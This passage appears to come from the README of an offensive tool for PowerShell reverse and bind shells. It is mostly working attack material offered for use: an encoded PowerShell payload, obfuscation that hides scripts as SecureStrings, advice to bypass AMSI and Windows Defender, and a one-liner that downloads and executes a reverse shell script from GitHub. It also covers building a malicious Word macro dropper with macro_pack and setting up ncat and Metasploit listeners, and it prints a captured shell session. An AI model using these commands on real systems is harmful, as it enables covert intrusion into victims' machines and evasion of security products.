ABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAbAAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABsAC4AUwBlAHIAdgBlAHIALgBDAGwAbwBzAGUAKAApADsAIAAkAGwALgBTAGUAcgB2AGUAcgAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABsADsAIAB9ACAAaQBmACAAKAAkAHcAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAdwAuAEMAbABvAHMAZQAoACkAOwAgACQAdwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAB3ADsAIAB9ACAAaQBmACAAKAAkAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAcwAuAEMAbABvAHMAZQAoACkAOwAgACQAcwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABzADsAIAB9ACAAaQBmACAAKAAkAGMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAYwAuAEMAbABvAHMAZQAoACkAOwAgACQAYwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABjADsAIAB9ACAAaQBmACAAKAAkAGIAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAYgAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGIAOwAgAH0AIABpAGYAIAAoACQAcgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcgA7ACAAfQAgAGkAZgAgACgAJABkACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABkADsAIAB9ACAAWwBHAEMAXQA6ADoAQwBvAGwAbABlAGMAdAAoACkAOwAgAH0AIAB9ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcAA7AA==The encoded script will prompt for input. See the slightly altered script here - used the minified script to reduce the command length.
To generate a PowerShell SecureString from a PowerShell script, run the following PowerShell command (the string can get very long):
ConvertFrom-SecureString -k (0..15) (ConvertTo-SecureString (Get-Content -Path $script -Raw) -AsPlainText -Force)To decode and run a PowerShell SecureString, run the following PowerShell command:
IEX((New-Object System.Net.NetworkCredential("", (ConvertTo-SecureString -k (0..15) $string))).Password)Most security products will flag a PowerShell script as malicious if the script uses & symbol excessively.
Check the manually obfuscated and transformed reverse shell script here.
Check the manually obfuscated and transformed bind shell script here.
If Windows Defender is blocking your PowerShell script or encoded command execution, generate an AMSI bypass code from AMSI.fail and run it in your PowerShell session. Credits to the author!
After running the AMSI bypass code, you can download the content of your PowerShell script from the web using this one-liner:
IEX([System.IO.StreamReader]::New([System.Net.WebRequest]::Create('https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1').GetResponse().GetResponseStream()).ReadToEnd());Find out more about AMSI bypass at S3cur3Th1sSh1t/Amsi-Bypass-Powershell. Credits to the author!
To embed a PowerShell script into an MS Word document, check macro_pack tool. Credits to the author!
Run the following command from either PowerShell or Command Prompt:
echo "https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/invoke_expression/prompt/powershell_reverse_tcp_prompt.ps1" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc
To set up a listener, open your preferred console on Kali Linux and run one of the examples below.
Set up ncat listener:
ncat -nvlp 9500
Set up multi/handler listener:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9500
exploit
┌──(root💀kali)-[~]
└─# ncat -nvlp 9500
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9500
Ncat: Listening on 0.0.0.0:9500
Ncat: Connection from 192.168.1.109.
Ncat: Connection from 192.168.1.109:50418.
PS>Get-Host
Name : ConsoleHost
Version : 5.1.19041.2673
InstanceId : 3d17d7be-e720-4f39-93a2-cf509887f57a
UI : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture : hr-HR
CurrentUICulture : en-US
PrivateData : Microsoft.PowerShell.ConsoleHost ConsoleColorProxy
DebuggerEnabled : True
IsRunspacePushed : False
Runspace : System.Management.Automation.Runspaces.LocalRunspace
PS>